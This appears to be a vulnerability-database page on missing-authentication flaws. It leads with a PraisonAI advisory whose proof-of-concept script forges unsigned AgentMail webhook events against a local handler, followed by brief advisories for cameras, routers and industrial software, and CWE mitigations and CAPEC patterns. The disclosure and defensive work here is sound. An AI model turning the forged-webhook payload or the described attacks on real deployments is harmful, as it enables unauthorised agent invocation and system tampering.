  "details": "# AgentMail webhook mode accepts forged unsigned message.received events and invokes agents\n\n## Summary\n\n`praisonai` AgentMail webhook mode exposes a public aiohttp webhook endpoint that accepts caller-controlled `message.received` JSON without verifying AgentMail\u0027s Svix webhook signatures, then dispatches the forged message into the configured agent session and reply path.\n\n## Technical Details\n\nThe affected boundary is webhook authenticity. AgentMail\u0027s webhook verification documentation says AgentMail delivers webhooks through Svix and includes `svix-id`, `svix-timestamp`, and `svix-signature` headers. Receivers are expected to verify the raw request body with the endpoint signing secret, commonly stored as `AGENTMAIL_WEBHOOK_SECRET`, before trusting the event body. AgentMail\u0027s documented verified payload examples route on `event_type`; the forged payload below intentionally uses PraisonAI\u0027s accepted handler shape, `type` plus `data`, because that is the shape `_handle_email_webhook()` accepts before any signature verification.\n\n`src/praisonai/praisonai/bots/agentmail.py` exposes webhook mode through `AgentMailBot(mode=...)` or a `BotConfig` whose `mode` is `webhook`. In `_start_webhook_mode()`, PraisonAI registers `POST {webhook_path}` and binds the aiohttp site to `0.0.0.0` on the configured webhook port. When `config.webhook_url` is set, the same method calls `client.webhooks.create(url=..., event_types=[\"message.received\"], inbox_ids=...)`, but it does not store or use the returned webhook secret.\n\nThe handler then trusts the parsed JSON body. `_handle_email_webhook()` calls `await request.json()`, reads `body.get(\"type\", \"\")`, and if the value is `message.received`, schedules `_process_webhook_payload(body)` and returns `200 OK`. It does not read the raw body, inspect request headers, verify `svix-id`, verify `svix-timestamp`, verify `svix-signature`, or check any webhook secret before scheduling the event.\n\n`_process_webhook_payload()` builds a `BotMessage` from attacker-controlled JSON fields: `data.message_id`, `data.from`/`data.from_`, `data.subject`, `data.extracted_text`/`data.text`, `data.thread_id`, and `data.in_reply_to`. It then calls `_handle_message(message)`. `_handle_message()` fires message hooks, calls `self._session.chat(self._agent, sender_id, body, ...)`, and, when the agent returns a response, attempts to reply to the attacker-controlled sender address through AgentMail.\n\nThis report is scoped to AgentMail webhook mode. It does not claim that the default polling path or WebSocket path is affected. The WebSocket path receives typed `MessageReceivedEvent` instances from the AgentMail SDK connection; the webhook path exposes a public HTTP receiver and therefore needs an independent signature check before parsing/trusting the event.\n\n## PoV\n\nthe PoV calls the webhook handler directly with fake request objects. It does not bind a port, contact AgentMail, send email, or use live credentials.\n\nThe forged JSON uses PraisonAI\u0027s accepted webhook-handler shape: a top-level `type` field with value `message.received` and a nested `data` object. This is not presented as the canonical signed AgentMail payload shape; AgentMail\u0027s verification documentation shows verified messages using `event_type` after Svix verification. The issue is that PraisonAI accepts the unauthenticated `type`/`data` body and dispatches it before verifying that the request came from AgentMail.\n\nEssential PoV excerpt:\n\n```python\nclass FakeRequest:\n    def __init__(self, body, headers=None, json_error=False):\n        self._body = body\n        self.headers = headers or {}\n        self._json_error = json_error\n\n    async def json(self):\n        if self._json_error:\n            raise ValueError(\"invalid json\")\n        return self._body\n\nbot = AgentMailBot(\n    token=\"am_local_test\",\n    agent=object(),\n    inbox_id=\"assistant@example.test\",\n    config=BotConfig(mode=\"webhook\", webhook_path=\"/webhook\"),\n)\nbot._inbox_id = \"assistant@example.test\"\nbot._email_address = \"assistant@example.test\"\nbot._config = {}\nbot._session = RecordingSession()\n\npayload = {\n    \"type\": \"message.received\",\n    \"data\": {\n        \"message_id\": \"msg-forged-invalid-svix\",\n        \"from\": \"attacker@example.test\",\n        \"subject\": \"Forged invalid signature\",\n        \"extracted_text\": \"invalid signature forged body\",\n    },\n}\nheaders = {\n    \"svix-id\": \"msg_bad\",\n    \"svix-timestamp\": \"1\",\n    \"svix-signature\": \"v1,definitely-invalid\",\n}\n\nresponse = await bot._handle_email_webhook(FakeRequest(payload, headers=headers))\nawait asyncio.sleep(0)\n```\n\nExpected vulnerable behavior: the response status is `200`, the invalid Svix signature is ignored, and the fake session records one agent call with `sender_id` set to `attacker@example.test` and `body` set to `invalid signature forged body`.\n\n## PoC\n\nCurrent head tested:\n\n```text\n846568c7a5d8ce9e71e56e4c213f027c04909753\n```\n\nRun against a local checkout of current head:\n\n```fish\npython3 pov_agentmail_webhook_forgery.py --repo /path/to/PraisonAI --label current-head-846568c\n```\n\nDecisive current-head output:\n\n```json\n{\n  \"label\": \"current-head-846568c\",\n  \"vulnerable\": true,\n  \"cases\": {\n    \"forged_unsigned_message\": {\n      \"http_status\": 200,\n      \"session_delta\": 1,\n      \"send_delta\": 1\n    },\n    \"forged_invalid_svix_signature\": {\n      \"http_status\": 200,\n      \"session_delta\": 1,\n      \"send_delta\": 1\n    },\n    \"invalid_json_control\": {\n      \"http_status\": 400,\n      \"session_delta\": 0\n    },\n    \"non_message_event_control\": {\n      \"http_status\": 200,\n      \"session_delta\": 0\n    },\n    \"duplicate_message_control\": {\n      \"http_status\": 200,\n      \"session_delta\": 0\n    }\n  }\n}\n```\n\nRun against the latest release tag observed during testing:\n\n```fish\npython3 pov_agentmail_webhook_forgery.py --repo /path/to/PraisonAI-v4.6.62 --label v4.6.62-2a855c47\n```\n\nDecisive `v4.6.62` output:\n\n```json\n{\n  \"label\": \"v4.6.62-2a855c47\",\n  \"vulnerable\": true,\n  \"cases\": {\n    \"forged_unsigned_message\": {\n      \"http_status\": 200,\n      \"session_delta\": 1,\n      \"send_delta\": 1\n    },\n    \"forged_invalid_svix_signature\": {\n      \"http_status\": 200,\n      \"session_delta\": 1,\n      \"send_delta\": 1\n    },\n    \"invalid_json_control\": {\n      \"http_status\": 400,\n      \"session_delta\": 0\n    },\n    \"non_message_event_control\": {\n      \"http_status\": 200,\n      \"session_delta\": 0\n    },\n    \"duplicate_message_control\": {\n      \"http_status\": 200,\n      \"session_delta\": 0\n    }\n  }\n}\n```\n\nInterpretation: forged unsigned webhook JSON and forged webhook JSON with invalid Svix headers both return `200` and reach the agent session once. Invalid JSON returns `400` without an agent call, non-`message.received` events are ignored, and repeated `message_id` values are deduplicated. The controls prove the handler is executing the intended branch and that the issue is specifically missing webhook authenticity verification before the agent dispatch branch.\n\n## Impact\n\nIf a PraisonAI operator exposes AgentMail webhook mode, any network caller who can reach the webhook URL can spoof incoming AgentMail email events and invoke the configured PraisonAI agent as an arbitrary sender. The attacker controls the message id, sender address, subject, body text, and thread metadata consumed by the bot.\n\nThe concrete boundary crossed is unauthenticated remote agent invocation through forged AgentMail webhook events. Downstream impact depends on the deployed agent and tools. PraisonAI bot defaults can include model calls and safe auto-approved tools, so this can cause unauthorized model/API usage, forged workflow input, replies under the AgentMail inbox identity, and confidentiality or integrity impact when the configured agent has access to sensitive context or tools.\n\nThis report does not claim arbitrary code execution by default, compromise of AgentMail itself, or bypass of the default poll mode.\n\nSuggested severity: High. Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L` (8.6). Suggested CWEs: `CWE-347` Improper Verification of Cryptographic Signature, `CWE-306` Missing Authentication for Critical Function, and `CWE-287` Improper Authentication.\n\n## Suggested Fix\n\nFail closed for AgentMail webhook mode unless a webhook signing secret is configured. Store the AgentMail webhook secret returned by `client.webhooks.create(...)`, or require an explicit `agentmail_webhook_secret`/`AGENTMAIL_WEBHOOK_SECRET` configuration value for existing webhook endpoints.\n\nVerify the raw request body with the official Svix verifier before JSON parsing is trusted. Reject missing, malformed, stale, or invalid `svix-id`, `svix-timestamp`, and `svix-signature` headers before scheduling `_process_webhook_payload()`. Do not use `await request.json()` as the verification input; signature verification needs the exact raw body bytes.\n\nSuggested regression tests:\n\n- webhook mode without a configured signing secret refuses startup or returns `401`/`400` for `message.received`;\n- missing Svix headers do not call `_process_webhook_payload()`;\n- invalid Svix signature does not call `_process_webhook_payload()`;\n- stale timestamp does not call `_process_webhook_payload()`;\n- valid Svix signature for the raw body reaches `_process_webhook_payload()`;\n- duplicate `message_id` behavior remains intact after verification succeeds.\n\n## Affected Package/Versions\n\nAffected package: `pypi:praisonai`.\n\nLatest PyPI version observed during testing: `4.6.62`. Current head `846568c7a5d8ce9e71e56e4c213f027c04909753` is affected. Latest release tag `v4.6.62` at commit `2a855c470077c7d2e2479a575f7ef7f548d51c33` is affected.\n\nSampled tag sweep:\n\n```text\nv4.4.12   agentmail_absent\nv4.5.16   agentmail_absent\nv4.5.128  present_unsigned_webhook\nv4.6.33   present_unsigned_webhook\nv4.6.58   present_unsigned_webhook\nv4.6.59   present_unsigned_webhook\nv4.6.60   present_unsigned_webhook\nv4.6.62   present_unsigned_webhook\ncurrent   present_unsigned_webhook\n```\n\nConservative suggested affected range: AgentMail webhook-bearing `praisonai` releases at least `\u003e= 4.5.128, \u003c= 4.6.62`, plus current head. The component was absent in sampled tags `v4.4.12` and `v4.5.16`. No fixed version or fix commit was observed.\n\n## Advisory History\n\nVisible PraisonAI advisories were checked for the same root cause, affected entrypoint, and exploit preconditions. No exact duplicate was found for AgentMail webhook mode accepting unsigned or invalid-Svix `message.received` events and dispatching them into `AgentMailBot._handle_message()`.\n\nNearby advisories are distinct:\n\n- `GHSA-fc26-m9pf-v56q`, \"PraisonAI LinearBot processes unsigned webhooks when LINEAR_WEBHOOK_SECRET is missing\", covers the Linear integration and a fail-open missing-secret condition. This report covers AgentMail webhook mode, a different integration, different handler, different provider signature scheme, and no visible webhook-secret validation path.\n- `GHSA-x92v-rpx6-p6cw`, \"Webhook signature verification skipped (fail-open) when secret unset, allowing forged inbound webhooks (WhatsApp \u0026 Linear bots)\", covers WhatsApp/Linear webhook verification fail-open behavior. This report covers AgentMail and Svix-backed AgentMail webhook delivery.\n- `GHSA-qvpf-j64c-jmhr`, \"PraisonAI Slack app_mention bypasses configured user/channel authorization\", covers Slack event authorization, not AgentMail webhook authenticity.\n- `GHSA-vg22-4gmj-prxw` / `CVE-2026-47391` cover unauthenticated A2A `message/send`, not AgentMail webhooks.\n- `GHSA-86qc-r5v2-v6x6` covers the call server token gap, not AgentMail webhook delivery.\n\nPublic Platform authorization advisories cover Platform RBAC/IDOR classes such as object ownership and workspace authorization. They do not cover AgentMail webhook authenticity or the AgentMail `message.received` dispatch path.\n\n## References\n\n- AgentMail webhook verification documentation: https://www.agentmail.to/docs/webhook-verification\n- AgentMail create webhook API reference: https://www.agentmail.to/docs/api-reference/webhooks/create\n- PraisonAI LinearBot webhook advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-fc26-m9pf-v56q\n- PraisonAI WhatsApp/Linear webhook fail-open advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x92v-rpx6-p6cw\n- PraisonAI Slack authorization advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qvpf-j64c-jmhr\n- MITRE CWE-347: https://cwe.mitre.org/data/definitions/347.html\n- MITRE CWE-306: https://cwe.mitre.org/data/definitions/306.html\n- MITRE CWE-287: https://cwe.mitre.org/data/definitions/287.html\n\n## Appendix A - Full PoV Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoV for PraisonAI AgentMail webhook authenticity.\n\nThe script calls the AgentMail webhook handler directly with fake aiohttp\nrequests. It does not bind a port, contact AgentMail, or send email.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport asyncio\nimport json\nimport sys\nimport types\nfrom pathlib import Path\nfrom typing import Any\n\n\nclass FakeResponse:\n    def __init__(self, status: int = 200, text: str = \"\", content_type: str | None = None):\n        self.status = status\n        self.text = text\n        self.content_type = content_type\n\n\nclass FakeRequest:\n    def __init__(self, body: dict[str, Any] | None, headers: dict[str, str] | None = None, json_error: bool = False):\n        self._body = body\n        self.headers = headers or {}\n        self._json_error = json_error\n\n    async def json(self) -\u003e dict[str, Any]:\n        if self._json_error:\n            raise ValueError(\"invalid json\")\n        return self._body or {}\n\n\nclass RecordingSession:\n    def __init__(self) -\u003e None:\n        self.calls: list[dict[str, Any]] = []\n\n    async def chat(self, agent: object, sender_id: str, body: str, **kwargs: Any) -\u003e str:\n        self.calls.append(\n            {\n                \"sender_id\": sender_id,\n                \"body\": body,\n                \"chat_id\": kwargs.get(\"chat_id\"),\n                \"message_id\": kwargs.get(\"message_id\"),\n                \"account\": kwargs.get(\"account\"),\n            }\n        )\n        return \"local agent response\"\n\n\ndef install_fake_aiohttp() -\u003e None:\n    web = types.SimpleNamespace(Response=FakeResponse)\n    sys.modules[\"aiohttp\"] = types.SimpleNamespace(web=web)\n\n\ndef configure_import_path(repo: Path) -\u003e None:\n    sys.path.insert(0, str(repo / \"src\" / \"praisonai\"))\n    sys.path.insert(0, str(repo / \"src\" / \"praisonai-agents\"))\n\n\nasync def run_case(bot: Any, request: FakeRequest, sleep_ticks: int = 2) -\u003e dict[str, Any]:\n    before_calls = len(bot._session.calls)\n    before_sends = len(bot._sent_messages)\n    response = await bot._handle_email_webhook(request)\n    for _ in range(sleep_ticks):\n        await asyncio.sleep(0)\n    return {\n        \"http_status\": response.status,\n        \"session_delta\": len(bot._session.calls) - before_calls,\n        \"send_delta\": len(bot._sent_messages) - before_sends,\n        \"session_calls\": bot._session.calls[before_calls:],\n        \"sent_messages\": bot._sent_messages[before_sends:],\n    }\n\n\nasync def main_async(repo: Path, label: str) -\u003e dict[str, Any]:\n    install_fake_aiohttp()\n    configure_import_path(repo)\n\n    from praisonai.bots.agentmail import AgentMailBot\n    from praisonaiagents.bots import BotConfig\n\n    bot = AgentMailBot(\n        token=\"am_local_test\",\n        agent=object(),\n        inbox_id=\"assistant@example.test\",\n        config=BotConfig(mode=\"webhook\", webhook_path=\"/webhook\"),\n    )\n    bot._inbox_id = \"assistant@example.test\"\n    bot._email_address = \"assistant@example.test\"\n    bot._config = {}\n    bot._session = RecordingSession()\n    bot._sent_messages = []\n\n    async def fake_send_message(**kwargs: Any) -\u003e None:\n        bot._sent_messages.append(kwargs)\n\n    bot.send_message = fake_send_message\n\n    invalid_svix_headers = {\n        \"svix-id\": \"msg_bad\",\n        \"svix-timestamp\": \"1\",\n        \"svix-signature\": \"v1,definitely-invalid\",\n    }\n\n    cases: dict[str, Any] = {}\n    cases[\"forged_unsigned_message\"] = await run_case(\n        bot,\n        FakeRequest(\n            {\n                \"type\": \"message.received\",\n                \"data\": {\n                    \"message_id\": \"msg-forged-unsigned\",\n                    \"from\": \"attacker@example.test\",\n                    \"subject\": \"Forged unsigned message\",\n                    \"extracted_text\": \"unsigned forged body\",\n                },\n            }\n        ),\n    )\n    cases[\"forged_invalid_svix_signature\"] = await run_case(\n        bot,\n        FakeRequest(\n            {\n                \"type\": \"message.received\",\n                \"data\": {\n                    \"message_id\": \"msg-forged-invalid-svix\",\n                    \"from\": \"attacker@example.test\",\n                    \"subject\": \"Forged invalid signature\",\n                    \"extracted_text\": \"invalid signature forged body\",\n                },\n            },\n            headers=invalid_svix_headers,\n        ),\n    )\n    cases[\"invalid_json_control\"] = await run_case(bot, FakeRequest(None, json_error=True))\n    cases[\"non_message_event_control\"] = await run_case(\n        bot,\n        FakeRequest(\n            {\n                \"type\": \"domain.verified\",\n                \"data\": {\n                    \"message_id\": \"msg-non-message\",\n                    \"from\": \"attacker@example.test\",\n                    \"extracted_text\": \"should not be processed\",\n                },\n            }\n        ),\n    )\n    cases[\"duplicate_message_control\"] = await run_case(\n        bot,\n        FakeRequest(\n            {\n                \"type\": \"message.received\",\n                \"data\": {\n                    \"message_id\": \"msg-forged-invalid-svix\",\n                    \"from\": \"attacker@example.test\",\n                    \"subject\": \"Duplicate\",\n                    \"extracted_text\": \"duplicate should not create a second call\",\n                },\n            },\n            headers=invalid_svix_headers,\n        ),\n    )\n\n    vulnerable = (\n        cases[\"forged_unsigned_message\"][\"http_status\"] == 200\n        and cases[\"forged_unsigned_message\"][\"session_delta\"] == 1\n        and cases[\"forged_invalid_svix_signature\"][\"http_status\"] == 200\n        and cases[\"forged_invalid_svix_signature\"][\"session_delta\"] == 1\n        and cases[\"invalid_json_control\"][\"http_status\"] == 400\n        and cases[\"invalid_json_control\"][\"session_delta\"] == 0\n        and cases[\"non_message_event_control\"][\"session_delta\"] == 0\n        and cases[\"duplicate_message_control\"][\"session_delta\"] == 0\n    )\n\n    return {\n        \"label\": label,\n        \"repo\": str(repo),\n        \"vulnerable\": vulnerable,\n        \"finding\": \"AgentMail webhook handler accepts unsigned and invalid-Svix message.received events and dispatches them to the agent session\",\n        \"cases\": cases,\n    }\n\n\ndef main() -\u003e int:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--repo\", type=Path, required=True)\n    parser.add_argument(\"--label\", default=\"current-head\")\n    args = parser.parse_args()\n    result = asyncio.run(main_async(args.repo.resolve(), args.label))\n    print(json.dumps(result, indent=2, sort_keys=True))\n    return 0 if result[\"vulnerable\"] else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```",
  "id": "GHSA-7c92-x8vg-4258",
  "modified": "2026-10-07T14:07:10Z",
  "published": "2026-10-07T14:07:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7c92-x8vg-4258"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61436"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62172"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2a855c470077c7d2e2479a575f7ef7f548d51c33"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/846568c7a5d8ce9e71e56e4c213f027c04909753"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-before-missing-webhook-signature-verification"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: AgentMail webhook mode accepts forged unsigned message.received events and invokes agents"
}

GHSA-7CH5-88J9-F3V7

Vulnerability from github – Published: 2026-10-01 18:32 – Updated: 2026-10-01 18:32
VLAI
Details

Tapo C120 v1 and C200 V5 contain a vulnerability in the HTTPS onboarding scan function due to missing authentication. After initial setup, an unauthenticated attacker on the same local network can invoke the scan action and retrieve nearby wireless access-point metadata, including SSIDs, BSSIDs, authentication and encryption modes, and signal-strength information.

Successful exploitation may disclose information about the wireless environment surrounding the camera, allowing an attacker to learn elements of the local wireless topology.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-78577"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-01T18:17:27Z",
    "severity": "MODERATE"
  },
  "details": "Tapo C120 v1 and C200 V5\ncontain a vulnerability in the HTTPS onboarding scan function due to missing authentication.\nAfter initial setup, an unauthenticated attacker on the same local network can\ninvoke the scan action and retrieve nearby wireless access-point metadata,\nincluding SSIDs, BSSIDs, authentication and encryption modes, and\nsignal-strength information.\n\n\n\n\n\n\n\n\n\nSuccessful\nexploitation may disclose information about the wireless environment\nsurrounding the camera, allowing an attacker to learn elements of the local\nwireless topology.",
  "id": "GHSA-7ch5-88j9-f3v7",
  "modified": "2026-10-01T18:32:48Z",
  "published": "2026-10-01T18:32:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78577"
    },
    {
      "type": "WEB",
      "url": "https://www.tp-link.com/en/support/download/tapo-c120/v1.26/#Firmware-Release-Notes"
    },
    {
      "type": "WEB",
      "url": "https://www.tp-link.com/en/support/download/tapo-c200/v5/#Firmware-Release-Notes"
    },
    {
      "type": "WEB",
      "url": "https://www.tp-link.com/us/support/download/tapo-c120/v1.26/#Firmware-Release-Notes"
    },
    {
      "type": "WEB",
      "url": "https://www.tp-link.com/us/support/download/tapo-c200/v5/#Firmware-Release-Notes"
    },
    {
      "type": "WEB",
      "url": "https://www.tp-link.com/us/support/faq/5321"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7CH6-FQVG-6PXP

Vulnerability from github – Published: 2026-09-29 12:31 – Updated: 2026-09-29 12:31
VLAI
Details

Asset Suite allows unauthenticated users to access HTTPPublishAdapterTestServlet that can be used for configuration file upload, leading to information disclosure and integrity compromise. The HTTPPublishAdapterTestServlet is specifically meant for testing purposes to be used in a non-production environment.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-7395"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-29T10:17:12Z",
    "severity": "HIGH"
  },
  "details": "Asset Suite allows unauthenticated users to access HTTPPublishAdapterTestServlet that can be used for configuration file upload, leading to information disclosure and integrity compromise. The HTTPPublishAdapterTestServlet is specifically meant for testing purposes to be used in a non-production environment.",
  "id": "GHSA-7ch6-fqvg-6pxp",
  "modified": "2026-09-29T12:31:29Z",
  "published": "2026-09-29T12:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7395"
    },
    {
      "type": "WEB",
      "url": "https://publisher.hitachienergy.com/preview?DocumentID=8DBD000254\u0026LanguageCode=en\u0026DocumentPartId=\u0026Action=Launch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7CHX-66RJ-Q7WH

Vulnerability from github – Published: 2022-05-24 17:10 – Updated: 2023-04-26 21:30
VLAI
Details

A Broken Access Control vulnerability in the D-Link DSL-2680 web administration interface (Firmware EU_1.03) allows an attacker to change DNS servers without being authenticated on the admin interface by submitting a crafted Forms/dns_1 POST request.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-19225"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-03-04T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A Broken Access Control vulnerability in the D-Link DSL-2680 web administration interface (Firmware EU_1.03) allows an attacker to change DNS servers without being authenticated on the admin interface by submitting a crafted Forms/dns_1 POST request.",
  "id": "GHSA-7chx-66rj-q7wh",
  "modified": "2023-04-26T21:30:30Z",
  "published": "2022-05-24T17:10:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-19225"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0x8b30cc/DSL-2680-Multiple-Vulnerabilities"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0x8b30cc/DSL-2680-Multiple-Vulnerabilities/blob/master/CVE-2019-19225.md"
    },
    {
      "type": "WEB",
      "url": "https://www.dlink.com/en/security-bulletin"
    },
    {
      "type": "WEB",
      "url": "https://www.ftc.gov/system/files/documents/cases/dlink_proposed_order_and_judgment_7-2-19.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7CJ5-W2HX-F2WC

Vulnerability from github – Published: 2026-07-31 09:31 – Updated: 2026-07-31 09:31
VLAI
Details

ANDRITZ HIPASE-250 (formerly 250 SCALA), in the default configuration of affected versions, exposes its data and configuration endpoint without any authentication and permissive CORS on every response. An unauthenticated attacker with network access can read live process values and server configuration.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-65310"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-31T09:16:58Z",
    "severity": "HIGH"
  },
  "details": "ANDRITZ HIPASE-250 (formerly 250 SCALA), in the default configuration\nof affected versions, exposes its data and configuration endpoint\nwithout any authentication and permissive CORS on every response. An\nunauthenticated attacker with network access can read live process\nvalues and server configuration.",
  "id": "GHSA-7cj5-w2hx-f2wc",
  "modified": "2026-07-31T09:31:18Z",
  "published": "2026-07-31T09:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65310"
    },
    {
      "type": "WEB",
      "url": "https://www.andritz.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7CP6-Q2FV-7M82

Vulnerability from github – Published: 2022-12-05 18:30 – Updated: 2025-04-24 15:30
VLAI
Details

Telepad allows remote unauthenticated users to send instructions to the server to execute arbitrary code without any previous authorization or authentication. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-45477"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-05T16:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Telepad allows remote unauthenticated users to send instructions to the server to execute arbitrary code without any previous authorization or authentication. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
  "id": "GHSA-7cp6-q2fv-7m82",
  "modified": "2025-04-24T15:30:40Z",
  "published": "2022-12-05T18:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45477"
    },
    {
      "type": "WEB",
      "url": "https://www.synopsys.com/blogs/software-security/cyrc-advisory-remote-code-execution-vulnerabilities-mouse-keyboard-apps"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
  • Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
  • In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
  • In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
Implementation System Configuration Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

CAPEC-12: Choosing Message Identifier

This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.

CAPEC-166: Force the System to Reset Values

An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.

CAPEC-216: Communication Channel Manipulation

An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-62: Cross Site Request Forgery

